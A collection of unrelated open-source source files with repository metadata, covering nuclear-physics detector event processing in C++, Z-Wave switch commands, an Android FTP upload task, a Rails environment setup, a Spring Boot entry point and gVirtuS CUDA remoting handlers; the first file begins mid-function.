m.warning("Using default gamma_threshold = 1.0", 1); double low_ratio = processor.attribute("low_ratio").as_double(1.0); if (low_ratio == 1.0) m.warning("Using default low_ratio = 1.0", 1); double high_ratio = processor.attribute("high_ratio").as_double(3.0); if (high_ratio == 3.0) m.warning("Using default high_ratio = 3.0", 1); double sub_event = processor.attribute("sub_event").as_double(100.e-9); if (sub_event == 100.e-9) m.warning("Using default sub_event = 100e-9", 1); double gamma_beta_limit = processor.attribute("gamma_beta_limit").as_double(200.e-9); if (gamma_beta_limit == 200.e-9) m.warning("Using default gamme_beta_limit = 200e-9", 1); double gamma_gamma_limit = processor.attribute("gamma_gamma_limit").as_double(200.e-9); if (gamma_gamma_limit == 200.e-9) m.warning("Using default gamma_gamma_limit = 200e-9", 1); double cycle_gate1_min = processor.attribute("cycle_gate1_min").as_double(0.0); if (cycle_gate1_min == 0.0) m.warning("Using default cycle_gate1_min = 0.0", 1); double cycle_gate1_max = processor.attribute("cycle_gate1_max").as_double(0.0); if (cycle_gate1_max == 0.0) m.warning("Using default cycle_gate1_max = 0.0", 1); double cycle_gate2_min = processor.attribute("cycle_gate2_min").as_double(0.0); if (cycle_gate2_min == 0.0) m.warning("Using default cycle_gate2_min = 0.0", 1); double cycle_gate2_max = processor.attribute("cycle_gate2_max").as_double(0.0); if (cycle_gate2_max == 0.0) m.warning("Using default cycle_gate2_max = 0.0", 1); vecProcess.push_back(new GeProcessor(gamma_threshold, low_ratio, high_ratio, sub_event, gamma_beta_limit, gamma_gamma_limit, cycle_gate1_min, cycle_gate1_max, cycle_gate2_min, cycle_gate2_max)); } else if (name == "GeCalibProcessor") { double gamma_threshold = processor.attribute("gamma_threshold").as_double(1); double low_ratio = processor.attribute("low_ratio").as_double(1); double high_ratio = processor.attribute("high_ratio").as_double(3); vecProcess.push_back(new GeCalibProcessor(gamma_threshold, low_ratio, high_ratio)); } else if (name == "Hen3Processor") { vecProcess.push_back(new Hen3Processor()); } else if (name == "IonChamberProcessor") { vecProcess.push_back(new IonChamberProcessor()); } else if (name == "LiquidScintProcessor") { vecProcess.push_back(new LiquidScintProcessor()); } else if (name == "LogicProcessor") { vecProcess.push_back(new LogicProcessor()); } else if (name == "NeutronScintProcessor") { vecProcess.push_back(new NeutronScintProcessor()); } else if (name == "PositionProcessor") { vecProcess.push_back(new PositionProcessor()); } else if (name == "SsdProcessor") { vecProcess.push_back(new SsdProcessor()); } else if (name == "VandleProcessor") { double res = processor.attribute("res").as_double(2.0); double offset = processor.attribute("offset").as_double(200.0); unsigned int numStarts = processor.attribute("NumStarts").as_int(2); vector<string> types = strings::tokenize(processor.attribute("types").as_string(),","); vecProcess.push_back(new VandleProcessor(types, res, offset, numStarts)); } else if (name == "TeenyVandleProcessor") { vecProcess.push_back(new TeenyVandleProcessor()); } else if (name == "DoubleBetaProcessor") { vecProcess.push_back(new DoubleBetaProcessor()); } else if (name == "PspmtProcessor") { vecProcess.push_back(new PspmtProcessor()); } else if (name == "TemplateProcessor") { vecProcess.push_back(new TemplateProcessor()); } else if (name == "TemplateExpProcessor") { vecProcess.push_back(new TemplateExpProcessor()); } #ifdef useroot //Certain process REQURE root to actually work else if (name == "Anl1471Processor") { vecProcess.push_back(new Anl1471Processor()); } else if (name == "TwoChanTimingProcessor") { vecProcess.push_back(new TwoChanTimingProcessor()); } else if (name == "IS600Processor") { vecProcess.push_back(new IS600Processor()); } else if (name == "VandleOrnl2012Processor") { vecProcess.push_back(new VandleOrnl2012Processor()); } else if (name == "RootProcessor") { vecProcess.push_back(new RootProcessor("tree.root", "tree")); } #endif else { stringstream ss; ss << "DetectorDriver: unknown processor type : " << name; throw GeneralException(ss.str()); } stringstream ss; for (pugi::xml_attribute_iterator ait = processor.attributes_begin(); ait != processor.attributes_end(); ++ait) { ss.str(""); ss << ait->name(); if (ss.str().compare("name") != 0) { ss << " = " << ait->value(); m.detail(ss.str(), 1); } } } for (pugi::xml_node analyzer = driver.child("Analyzer"); analyzer; analyzer = analyzer.next_sibling("Analyzer")) { string name = analyzer.attribute("name").value(); m.detail("Loading " + name); if(name == "TraceFilterAnalyzer") { bool findPileups = analyzer.attribute("FindPileup").as_bool(false); vecAnalyzer.push_back(new TraceFilterAnalyzer(findPileups)); } else if(name == "TauAnalyzer") { vecAnalyzer.push_back(new TauAnalyzer()); } else if (name == "TraceExtractor") { string type = analyzer.attribute("type").as_string(); string subtype = analyzer.attribute("subtype").as_string(); string tag = analyzer.attribute("tag").as_string(); vecAnalyzer.push_back(new TraceExtractor(type, subtype,tag)); } else if (name == "WaveformAnalyzer") { vecAnalyzer.push_back(new WaveformAnalyzer()); } else if (name == "CfdAnalyzer") { string type = analyzer.attribute("type").as_string(); vecAnalyzer.push_back(new CfdAnalyzer(type)); } else if (name == "WaaAnalyzer") { vecAnalyzer.push_back(new WaaAnalyzer()); } else if (name == "FittingAnalyzer") { string type = analyzer.attribute("type").as_string(); vecAnalyzer.push_back(new FittingAnalyzer(type)); } else { stringstream ss; ss << "DetectorDriver: unknown analyzer type" << name; throw GeneralException(ss.str()); } for (pugi::xml_attribute_iterator ait = analyzer.attributes_begin(); ait != analyzer.attributes_end(); ++ait) { stringstream ss; ss << ait->name(); if (ss.str().compare("name") != 0) { ss << " = " << ait->value(); m.detail(ss.str(), 1); } } } } void DetectorDriver::Init(RawEvent& rawev) { for (vector<TraceAnalyzer *>::iterator it = vecAnalyzer.begin(); it != vecAnalyzer.end(); it++) { (*it)->Init(); (*it)->SetLevel(20); } for (vector<EventProcessor *>::iterator it = vecProcess.begin(); it != vecProcess.end(); it++) { (*it)->Init(rawev); } try { ReadCalXml(); ReadWalkXml(); } catch (GeneralException &e) { //! Any exception in reading calibration and walk correction //! will be intercepted here cout << endl; cout << "Exception caught at DetectorDriver::Init" << endl; cout << "\t" << e.what() << endl; Messenger m; m.fail(); exit(EXIT_FAILURE); } catch (GeneralWarning &w) { cout << "Warning caught at DetectorDriver::Init" << endl; cout << "\t" << w.what() << endl; } } void DetectorDriver::ProcessEvent(RawEvent& rawev) { plot(dammIds::raw::D_NUMBER_OF_EVENTS, dammIds::GENERIC_CHANNEL); try { for (vector<ChanEvent*>::const_iterator it = rawev.GetEventList().begin(); it != rawev.GetEventList().end(); ++it) { PlotRaw((*it)); ThreshAndCal((*it), rawev); PlotCal((*it)); string place = (*it)->GetChanID().GetPlaceName(); if (place == "__9999") continue; if ( (*it)->IsSaturated() || (*it)->IsPileup() ) continue; double time = (*it)->GetTime(); double energy = (*it)->GetCalEnergy(); int location = (*it)->GetChanID().GetLocation(); EventData data(time, energy, location); TreeCorrelator::get()->place(place)->activate(data); } //!First round is preprocessing, where process result must be guaranteed //!to not to be dependent on results of other Processors. for (vector<EventProcessor*>::iterator iProc = vecProcess.begin(); iProc != vecProcess.end(); iProc++) if ( (*iProc)->HasEvent() ) (*iProc)->PreProcess(rawev); ///In the second round the Process is called, which may depend on other ///Processors. for (vector<EventProcessor *>::iterator iProc = vecProcess.begin(); iProc != vecProcess.end(); iProc++) if ( (*iProc)->HasEvent() ) (*iProc)->Process(rawev); // Clear all places in correlator (if of resetable type) for (map<string, Place*>::iterator it = TreeCorrelator::get()->places_.begin(); it != TreeCorrelator::get()->places_.end(); ++it) if ((*it).second->resetable()) (*it).second->reset(); } catch (GeneralException &e) { /// Any exception in activation of basic places, PreProcess and Process /// will be intercepted here cout << endl << Display::ErrorStr("Exception caught at DetectorDriver::ProcessEvent") << endl; throw; } catch (GeneralWarning &w) { cout << Display::WarningStr("Warning caught at " "DetectorDriver::ProcessEvent") << endl; cout << "\t" << Display::WarningStr(w.what()) << endl; } } /// Declare some of the raw and basic plots that are going to be used in the /// analysis of the data. These include raw and calibrated energy spectra, /// information about the run time, and count rates on the detectors. This /// also calls the DeclarePlots method that is present in all of the /// Analyzers and Processors. void DetectorDriver::DeclarePlots() { try { DeclareHistogram1D(D_HIT_SPECTRUM, S7, "channel hit spectrum"); DeclareHistogram2D(DD_RUNTIME_SEC, SE, S6, "run time - s"); DeclareHistogram2D(DD_RUNTIME_MSEC, SE, S7, "run time - ms"); if(Globals::get()->hasRaw()) { DetectorLibrary* modChan = DetectorLibrary::get(); DeclareHistogram1D(D_NUMBER_OF_EVENTS, S4, "event counter"); DeclareHistogram1D(D_HAS_TRACE, S8, "channels with traces"); DeclareHistogram1D(D_SUBEVENT_GAP, SE, "Time Between Channels in 10 ns / bin"); DeclareHistogram1D(D_EVENT_LENGTH, SE, "Event Length in ns"); DeclareHistogram1D(D_EVENT_GAP, SE, "Time Between Events in ns"); DeclareHistogram1D(D_EVENT_MULTIPLICITY, S7, "Number of Channels Event"); DeclareHistogram1D(D_BUFFER_END_TIME, SE, "Buffer Length in ns"); DetectorLibrary::size_type maxChan = modChan->size(); for (DetectorLibrary::size_type i = 0; i < maxChan; i++) { if (!modChan->HasValue(i)) { continue; } stringstream idstr; const Identifier &id = modChan->at(i); idstr << "M" << modChan->ModuleFromIndex(i) << " C" << modChan->ChannelFromIndex(i) << " - " << id.GetType() << ":" << id.GetSubtype() << " L" << id.GetLocation(); DeclareHistogram1D(D_RAW_ENERGY + i, SE, ("RawE " + idstr.str()).c_str() ); DeclareHistogram1D(D_FILTER_ENERGY + i, SE, ("FilterE " + idstr.str()).c_str() ); DeclareHistogram1D(D_SCALAR + i, SE, ("Scalar " + idstr.str()).c_str() ); if (Globals::get()->revision() == "A") DeclareHistogram1D(D_TIME + i, SE, ("Time " + idstr.str()).c_str() ); DeclareHistogram1D(D_CAL_ENERGY + i, SE, ("CalE " + idstr.str()).c_str() ); } } for (vector<TraceAnalyzer *>::const_iterator it = vecAnalyzer.begin(); it != vecAnalyzer.end(); it++) { (*it)->DeclarePlots(); } for (vector<EventProcessor *>::const_iterator it = vecProcess.begin(); it != vecProcess.end(); it++) { (*it)->DeclarePlots(); } } catch (exception &e) { cout << Display::ErrorStr("Exception caught at " "DetectorDriver::DeclarePlots") << endl; throw; } } int DetectorDriver::ThreshAndCal(ChanEvent *chan, RawEvent& rawev) { Identifier chanId = chan->GetChanID(); int id = chan->GetID(); string type = chanId.GetType(); string subtype = chanId.GetSubtype(); map<string, int> tags = chanId.GetTagMap(); bool hasStartTag = chanId.HasTag("start"); Trace &trace = chan->GetTrace(); RandomPool* randoms = RandomPool::get(); double energy = 0.0; if (type == "ignore" || type == "") return(0); if ( !trace.empty() ) { plot(D_HAS_TRACE, id); for (vector<TraceAnalyzer *>::iterator it = vecAnalyzer.begin(); it != vecAnalyzer.end(); it++) { (*it)->Analyze(trace, type, subtype, tags); } if (trace.HasValue("filterEnergy") ) { if (trace.GetValue("filterEnergy") > 0) { energy = trace.GetValue("filterEnergy"); plot(D_FILTER_ENERGY + id, energy); trace.SetValue("filterEnergyCal", cali.GetCalEnergy(chanId, trace.GetValue("filterEnergy"))); } else { energy = 0.0; } /** Calibrate pulses numbered 2 and forth, * add filterEnergyXCal to the trace */ int pulses = trace.GetValue("numPulses"); for (int i = 1; i < pulses; ++i) { stringstream energyName; energyName << "filterEnergy" << i + 1; stringstream energyCalName; energyCalName << "filterEnergy" << i + 1 << "Cal"; trace.SetValue(energyCalName.str(), cali.GetCalEnergy(chanId, trace.GetValue(energyName.str()))); } } if (trace.HasValue("calcEnergy") ) { energy = trace.GetValue("calcEnergy"); chan->SetEnergy(energy); } else if (!trace.HasValue("filterEnergy")) { energy = chan->GetEnergy() + randoms->Get(); } if (trace.HasValue("phase") ) { //Saves the time in nanoseconds chan->SetHighResTime((trace.GetValue("phase") * Globals::get()->adcClockInSeconds() + (double)chan->GetTrigTime() * Globals::get()->filterClockInSeconds()) * 1e9); } } else { /// otherwise, use the Pixie on-board calculated energy /// add a random number to convert an integer value to a /// uniformly distributed floating point energy = chan->GetEnergy() + randoms->Get(); chan->SetHighResTime(0.0); } /** Calibrate energy and apply the walk correction. */ double time, walk_correction; if(chan->GetHighResTime() == 0.0) { time = chan->GetTime(); //time is in clock ticks walk_correction = walk.GetCorrection(chanId, energy); } else { time = chan->GetHighResTime(); //time here is in ns walk_correction = walk.GetCorrection(chanId, trace.GetValue("tqdc")); } chan->SetCalEnergy(cali.GetCalEnergy(chanId, energy)); chan->SetCorrectedTime(time - walk_correction); rawev.GetSummary(type)->AddEvent(chan); DetectorSummary *summary; summary = rawev.GetSummary(type + ':' + subtype, false); if (summary != NULL) summary->AddEvent(chan); if(hasStartTag && type != "logic") { summary = rawev.GetSummary(type + ':' + subtype + ':' + "start", false); if (summary != NULL) summary->AddEvent(chan); } return(1); } int DetectorDriver::PlotRaw(const ChanEvent *chan) { plot(D_RAW_ENERGY + chan->GetID(), chan->GetEnergy()); return(0); } int DetectorDriver::PlotCal(const ChanEvent *chan) { plot(D_CAL_ENERGY + chan->GetID(), chan->GetCalEnergy()); return(0); } EventProcessor* DetectorDriver::GetProcessor(const std::string& name) const { for (vector<EventProcessor *>::const_iterator it = vecProcess.begin(); it != vecProcess.end(); it++) { if ( (*it)->GetName() == name ) return(*it); } return(NULL); } void DetectorDriver::ReadCalXml() { pugi::xml_document doc; pugi::xml_parse_result result = doc.load_file(cfg_.c_str()); if (!result) { stringstream ss; ss << "DetectorDriver: error parsing file" << cfg_; ss << " : " << result.description(); throw GeneralException(ss.str()); } Messenger m; m.start("Loading Calibration"); pugi::xml_node map = doc.child("Configuration").child("Map"); /** Note that before this reading in of the xml file, it was already * processed for the purpose of creating the channels map. * Some sanity checks (module and channel number) were done there * so they are not repeated here/ */ bool verbose = map.attribute("verbose_calibration").as_bool(); for (pugi::xml_node module = map.child("Module"); module; module = module.next_sibling("Module")) { int module_number = module.attribute("number").as_int(-1); for (pugi::xml_node channel = module.child("Channel"); channel; channel = channel.next_sibling("Channel")) { int ch_number = channel.attribute("number").as_int(-1); Identifier chanID = DetectorLibrary::get()->at(module_number, ch_number); bool calibrated = false; for (pugi::xml_node cal = channel.child("Calibration"); cal; cal = cal.next_sibling("Calibration")) { string model = cal.attribute("model").as_string("None"); double min = cal.attribute("min").as_double(0); double max = cal.attribute("max").as_double(numeric_limits<double>::max()); stringstream pars(cal.text().as_string()); vector<double> parameters; while (true) { double p; pars >> p; if (pars) parameters.push_back(p); else break; } if (verbose) { stringstream ss; ss << "Module " << module_number << ", channel " << ch_number << ": "; ss << " model-" << model; for (vector<double>::iterator it = parameters.begin(); it != parameters.end(); ++it) ss << " " << (*it); m.detail(ss.str(), 1); } cali.AddChannel(chanID, model, min, max, parameters); calibrated = true; } if (!calibrated && verbose) { stringstream ss; ss << "Module " << module_number << ", channel " << ch_number << ": "; ss << " non-calibrated"; m.detail(ss.str(), 1); } } } m.done(); } void DetectorDriver::ReadWalkXml() { pugi::xml_document doc; pugi::xml_parse_result result = doc.load_file(cfg_.c_str()); if (!result) { stringstream ss; ss << "DetectorDriver: error parsing file " << cfg_; ss << " : " << result.description(); throw GeneralException(ss.str()); } Messenger m; m.start("Loading Walk Corrections"); pugi::xml_node map = doc.child("Configuration").child("Map"); /** See comment in the similiar place at ReadCalXml() */ bool verbose = map.attribute("verbose_walk").as_bool(); for (pugi::xml_node module = map.child("Module"); module; module = module.next_sibling("Module")) { int module_number = module.attribute("number").as_int(-1); for (pugi::xml_node channel = module.child("Channel"); channel; channel = channel.next_sibling("Channel")) { int ch_number = channel.attribute("number").as_int(-1); Identifier chanID = DetectorLibrary::get()->at(module_number, ch_number); bool corrected = false; for (pugi::xml_node walkcorr = channel.child("WalkCorrection"); walkcorr; walkcorr = walkcorr.next_sibling("WalkCorrection")) { string model = walkcorr.attribute("model").as_string("None"); double min = walkcorr.attribute("min").as_double(0); double max = walkcorr.attribute("max").as_double( numeric_limits<double>::max()); stringstream pars(walkcorr.text().as_string()); vector<double> parameters; while (true) { double p; pars >> p; if (pars) parameters.push_back(p); else break; } if (verbose) { stringstream ss; ss << "Module " << module_number << ", channel " << ch_number << ": "; ss << " model: " << model; for (vector<double>::iterator it = parameters.begin(); it != parameters.end(); ++it) ss << " " << (*it); m.detail(ss.str(), 1); } walk.AddChannel(chanID, model, min, max, parameters); corrected = true; } if (!corrected && verbose) { stringstream ss; ss << "Module " << module_number << ", channel " << ch_number << ": "; ss << " not corrected for walk"; m.detail(ss.str(), 1); } } } m.done(); }
pixie16/paassdoc
Analysis/Utkscan/core/source/DetectorDriver.cpp
C++
gpl-3.0
28,756
/** * Copyright (C) 2005-2015, Stefan Strömberg <stestr@nethome.nu> * * This file is part of OpenNetHome. * * OpenNetHome is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * OpenNetHome is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package nu.nethome.zwave.messages.commandclasses; import nu.nethome.zwave.messages.commandclasses.framework.CommandAdapter; import nu.nethome.zwave.messages.commandclasses.framework.CommandClass; import nu.nethome.zwave.messages.commandclasses.framework.CommandCode; import nu.nethome.zwave.messages.commandclasses.framework.CommandProcessorAdapter; import nu.nethome.zwave.messages.framework.DecoderException; import java.io.ByteArrayOutputStream; public class MultiLevelSwitchCommandClass implements CommandClass { public static final int SWITCH_MULTILEVEL_SET = 0x01; public static final int SWITCH_MULTILEVEL_GET = 0x02; public static final int SWITCH_MULTILEVEL_REPORT = 0x03; public static final int SWITCH_MULTILEVEL_START_LEVEL_CHANGE = 0x04; public static final int SWITCH_MULTILEVEL_STOP_LEVEL_CHANGE = 0x05; public static final int SWITCH_MULTILEVEL_SUPPORTED_GET = 0x06; public static final int SWITCH_MULTILEVEL_SUPPORTED_REPORT = 0x07; public static final int COMMAND_CLASS = 0x26; public static class Set extends CommandAdapter { public final int level; public Set(int level) { super(COMMAND_CLASS, SWITCH_MULTILEVEL_SET); this.level = level; } public Set(byte[] data) throws DecoderException { super(data, COMMAND_CLASS, SWITCH_MULTILEVEL_SET); level = in.read(); } public static class Processor extends CommandProcessorAdapter<Set> { @Override public CommandCode getCommandCode() { return new CommandCode(COMMAND_CLASS, SWITCH_MULTILEVEL_SET); } @Override public Set process(byte[] command, CommandArgument argument) throws DecoderException { return process(new Set(command), argument); } } @Override protected void addCommandData(ByteArrayOutputStream result) { super.addCommandData(result); result.write(level); } } public static class Get extends CommandAdapter { public Get() { super(COMMAND_CLASS, SWITCH_MULTILEVEL_GET); } } public static class Report extends CommandAdapter { public final int level; public Report(int level) { super(COMMAND_CLASS, SWITCH_MULTILEVEL_REPORT); this.level = level; } public Report(byte[] data) throws DecoderException { super(data, COMMAND_CLASS, SWITCH_MULTILEVEL_REPORT); level = in.read(); } @Override protected void addCommandData(ByteArrayOutputStream result) { super.addCommandData(result); result.write(level); } public static class Processor extends CommandProcessorAdapter<Report> { @Override public CommandCode getCommandCode() { return new CommandCode(COMMAND_CLASS, SWITCH_MULTILEVEL_REPORT); } @Override public Report process(byte[] command, CommandArgument argument) throws DecoderException { return process(new Report(command), argument); } } @Override public String toString() { return String.format("{\"MultiLevelSwitch.Report\":{\"level\": %d}}", level); } } public static class StartLevelChange extends CommandAdapter { private static final int DIRECTION_BIT = 1<<6; private static final int IGNORE_START_POSITION_BIT = 1<<5; public enum Direction {UP, DOWN} public final Direction direction; public final Integer startLevel; public final int duration; public StartLevelChange(int startLevel, Direction direction) { super(COMMAND_CLASS, SWITCH_MULTILEVEL_START_LEVEL_CHANGE); this.direction = direction; this.startLevel = startLevel; duration = 0xFF; } public StartLevelChange(Direction direction) { super(COMMAND_CLASS, SWITCH_MULTILEVEL_START_LEVEL_CHANGE); this.direction = direction; this.startLevel = null; duration = 0xFF; } public StartLevelChange(Direction direction, int duration) { super(COMMAND_CLASS, SWITCH_MULTILEVEL_START_LEVEL_CHANGE); this.direction = direction; this.startLevel = null; this.duration = duration; } public StartLevelChange(byte[] data) throws DecoderException { super(data, COMMAND_CLASS, SWITCH_MULTILEVEL_START_LEVEL_CHANGE); int mode = in.read(); int startLevel = in.read(); direction = ((mode & DIRECTION_BIT) != 0) ? Direction.DOWN : Direction.UP; this.startLevel = ((mode & IGNORE_START_POSITION_BIT) != 0) ? null : startLevel; if (in.available() > 0) { duration = in.read(); } else { duration = 0xFF; } } public static class Processor extends CommandProcessorAdapter<Set> { @Override public CommandCode getCommandCode() { return new CommandCode(COMMAND_CLASS, SWITCH_MULTILEVEL_START_LEVEL_CHANGE); } @Override public Set process(byte[] command, CommandArgument argument) throws DecoderException { return process(new Set(command), argument); } } @Override protected void addCommandData(ByteArrayOutputStream result) { super.addCommandData(result); int mode = (direction == Direction.DOWN) ? DIRECTION_BIT : 0; int tempStartLevel = 0; if (startLevel == null) { mode |= IGNORE_START_POSITION_BIT; } else { tempStartLevel = startLevel; } result.write(mode); result.write(tempStartLevel); result.write(duration); } } public static class StopLevelChange extends CommandAdapter { public StopLevelChange() { super(COMMAND_CLASS, SWITCH_MULTILEVEL_STOP_LEVEL_CHANGE); } public StopLevelChange(byte[] data) throws DecoderException { super(data, COMMAND_CLASS, SWITCH_MULTILEVEL_STOP_LEVEL_CHANGE); } public static class Processor extends CommandProcessorAdapter<Set> { @Override public CommandCode getCommandCode() { return new CommandCode(COMMAND_CLASS, SWITCH_MULTILEVEL_STOP_LEVEL_CHANGE); } @Override public Set process(byte[] command, CommandArgument argument) throws DecoderException { return process(new Set(command), argument); } } @Override protected void addCommandData(ByteArrayOutputStream result) { super.addCommandData(result); } } }
NetHome/ZWave
src/main/java/nu/nethome/zwave/messages/commandclasses/MultiLevelSwitchCommandClass.java
Java
gpl-3.0
7,780
package com.bryanrm.ftptransfer.network; import android.content.Context; import android.os.AsyncTask; import android.widget.Toast; import com.bryanrm.ftptransfer.R; import com.bryanrm.ftptransfer.ftp.WrapFTP; import java.io.InputStream; /** * Created by Bryan R Martinez on 1/3/2017. */ public class Upload extends AsyncTask<Void, Void, Boolean> { private Context context; private String fileName; private InputStream inputStream; public Upload(Context context, String fileName, InputStream inputStream) { this.context = context; this.fileName = fileName; this.inputStream = inputStream; } @Override protected Boolean doInBackground(Void... params) { publishProgress(); return WrapFTP.getInstance().uploadFile(fileName, inputStream); } @Override protected void onProgressUpdate(Void... values) { Toast.makeText(context, context.getString(R.string.message_file_ul_start), Toast.LENGTH_SHORT).show(); } @Override protected void onPostExecute(Boolean result) { if (result) { Toast.makeText(context, context.getString(R.string.message_file_uploaded), Toast.LENGTH_LONG).show(); } else { Toast.makeText(context, context.getString(R.string.message_file_not_uploaded), Toast.LENGTH_LONG).show(); } } }
bryanrm/android-ftp-transfer
app/src/main/java/com/bryanrm/ftptransfer/network/Upload.java
Java
gpl-3.0
1,453
package org.flowerplatform.util.diff_update; import java.io.Serializable; import java.util.Objects; /** * * @author Claudiu Matei * */ public class DiffUpdate implements Serializable { private static final long serialVersionUID = -7517448831349466230L; private long id; private long timestamp = System.currentTimeMillis(); private String type; private String entityUid; /** * Non-conventional getter/setter so that it's not serialized to client */ private Object entity; public long getId() { return id; } public void setId(long id) { this.id = id; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getEntityUid() { return entityUid; } public void setEntityUid(String entityUid) { this.entityUid = entityUid; } /** * @see #entity */ public Object entity() { return entity; } /** * @see #entity */ public void entity(Object entity) { this.entity = entity; } @Override public String toString() { return "DiffUpdate[type=" + type + ", id=" + id + ", entityUid=" + entityUid + "]"; } public long getTimestamp() { return timestamp; } @Override public boolean equals(Object obj) { DiffUpdate otherUpdate = (DiffUpdate) obj; return Objects.equals(type, otherUpdate.type) && Objects.equals(entityUid, otherUpdate.entityUid); } @Override public int hashCode() { return type.hashCode() + 3 * entityUid.hashCode(); } }
flower-platform/flower-platform-4
org.flowerplatform.util/src/org/flowerplatform/util/diff_update/DiffUpdate.java
Java
gpl-3.0
1,571
# Load the Rails application. require_relative 'application' # Initialize the Rails application. Rails.application.initialize! if ActiveRecord::Base.connection.pool.connected? then puts "connection size is #{ActiveRecord::Base.connection.pool.size}" puts "new connection size is #{ActiveRecord::Base.connection.pool.size}" if System.table_exists? then System.instance # load system and set new connection pools Rails.application.wakeup_or_start_observer_thread Rails.application.wakeup_or_start_epgdump_thread end else puts "no connection now" end
shinjiro-itagaki/shinjirecs
shinjirecs-rails-server/config/environment.rb
Ruby
gpl-3.0
573
/** * Balero CMS Project: Proyecto 100% Mexicano de código libre. * Página Oficial: http://www.balerocms.com * * @author Anibal Gomez <anibalgomez@icloud.com> * @copyright Copyright (C) 2015 Neblina Software. Derechos reservados. * @license Licencia BSD; vea LICENSE.txt */ package com.neblina.balero; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.scheduling.annotation.EnableScheduling; import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; @Configuration @EnableAutoConfiguration @EnableScheduling @ComponentScan @EnableGlobalMethodSecurity(securedEnabled = true, prePostEnabled = true) public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } }
neblina-software/balerocms-v2
src/main/java/com/neblina/balero/Application.java
Java
gpl-3.0
1,024
/* * gVirtuS -- A GPGPU transparent virtualization component. * * Copyright (C) 2009-2010 The University of Napoli Parthenope at Naples. * * This file is part of gVirtuS. * * gVirtuS is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * gVirtuS is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU General Public License * along with gVirtuS; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * * Written by: Giuseppe Coviello <giuseppe.coviello@uniparthenope.it>, * Department of Applied Science */ #include "CudaRtHandler.h" CUDA_ROUTINE_HANDLER(DeviceSetCacheConfig) { try { cudaFuncCache cacheConfig = input_buffer->Get<cudaFuncCache>(); cudaError_t exit_code = cudaDeviceSetCacheConfig(cacheConfig); return new Result(exit_code); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); //??? } } CUDA_ROUTINE_HANDLER(DeviceSetLimit) { try { cudaLimit limit = input_buffer->Get<cudaLimit>(); size_t value = input_buffer->Get<size_t>(); cudaError_t exit_code = cudaDeviceSetLimit(limit, value); return new Result(exit_code); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); //??? } } CUDA_ROUTINE_HANDLER(IpcOpenMemHandle) { void *devPtr = NULL; try { cudaIpcMemHandle_t handle = input_buffer->Get<cudaIpcMemHandle_t>(); unsigned int flags = input_buffer->Get<unsigned int>(); cudaError_t exit_code = cudaIpcOpenMemHandle(&devPtr, handle, flags); Buffer *out = new Buffer(); out->AddMarshal(devPtr); return new Result(exit_code, out); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } } CUDA_ROUTINE_HANDLER(DeviceEnablePeerAccess) { int peerDevice = input_buffer->Get<int>(); unsigned int flags = input_buffer->Get<unsigned int>(); cudaError_t exit_code = cudaDeviceEnablePeerAccess(peerDevice, flags); return new Result(exit_code); } CUDA_ROUTINE_HANDLER(DeviceDisablePeerAccess) { int peerDevice = input_buffer->Get<int>(); cudaError_t exit_code = cudaDeviceDisablePeerAccess(peerDevice); return new Result(exit_code); } CUDA_ROUTINE_HANDLER(DeviceCanAccessPeer) { int *canAccessPeer = input_buffer->Assign<int>(); int device = input_buffer->Get<int>(); int peerDevice = input_buffer->Get<int>(); cudaError_t exit_code = cudaDeviceCanAccessPeer(canAccessPeer, device, peerDevice); Buffer *out = new Buffer(); try { out->Add(canAccessPeer); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(DeviceGetStreamPriorityRange) { int *leastPriority = input_buffer->Assign<int>(); int *greatestPriority = input_buffer->Assign<int>(); cudaError_t exit_code = cudaDeviceGetStreamPriorityRange(leastPriority, greatestPriority); Buffer *out = new Buffer(); try { out->Add(leastPriority); out->Add(greatestPriority); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(OccupancyMaxActiveBlocksPerMultiprocessor) { int *numBlocks = input_buffer->Assign<int>(); const char *func = (const char*) (input_buffer->Get<pointer_t> ()); int blockSize = input_buffer->Get<int>(); size_t dynamicSMemSize = input_buffer->Get<size_t>(); cudaError_t exit_code = cudaOccupancyMaxActiveBlocksPerMultiprocessor(numBlocks, func, blockSize, dynamicSMemSize); Buffer *out = new Buffer(); try { out->Add(numBlocks); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(DeviceGetAttribute) { int *value = input_buffer->Assign<int>(); cudaDeviceAttr attr = input_buffer->Get<cudaDeviceAttr>(); int device = input_buffer->Get<int>(); cudaError_t exit_code = cudaDeviceGetAttribute(value, attr, device); Buffer *out = new Buffer(); try { out->Add(value); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } CUDA_ROUTINE_HANDLER(IpcGetMemHandle) { cudaIpcMemHandle_t *handle = input_buffer->Assign<cudaIpcMemHandle_t>(); void *devPtr = input_buffer->GetFromMarshal<void *>(); cudaError_t exit_code = cudaIpcGetMemHandle(handle, devPtr); Buffer *out = new Buffer(); try { out->Add(handle); } catch (string e) { cerr << e << endl; return new Result(cudaErrorMemoryAllocation); } return new Result(exit_code, out); } 